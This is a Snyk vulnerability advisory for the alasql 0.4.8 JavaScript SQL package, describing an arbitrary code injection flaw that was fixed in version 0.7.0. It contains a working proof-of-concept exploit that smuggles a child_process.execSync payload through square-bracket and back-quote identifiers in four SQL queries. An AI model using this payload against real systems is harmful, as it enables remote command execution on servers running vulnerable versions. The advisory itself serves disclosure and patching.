Homepage
About Snyk

alasql@0.4.8 vulnerabilities

Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the alasql package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary Code Injection

alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.

POC

const alasql = require('alasql');

const genPayload = command => `
new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(${JSON.stringify(command)})
`;


res = alasql(
    // Initialize the database
    'CREATE table i_am_a_table;' +
    `INSERT INTO i_am_a_table VALUES (1337);` +

    // Code injection in four different ways
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

How to fix Arbitrary Code Injection?

Upgrade alasql to version 0.7.0 or higher.

<0.7.0
Go back to all versions of this package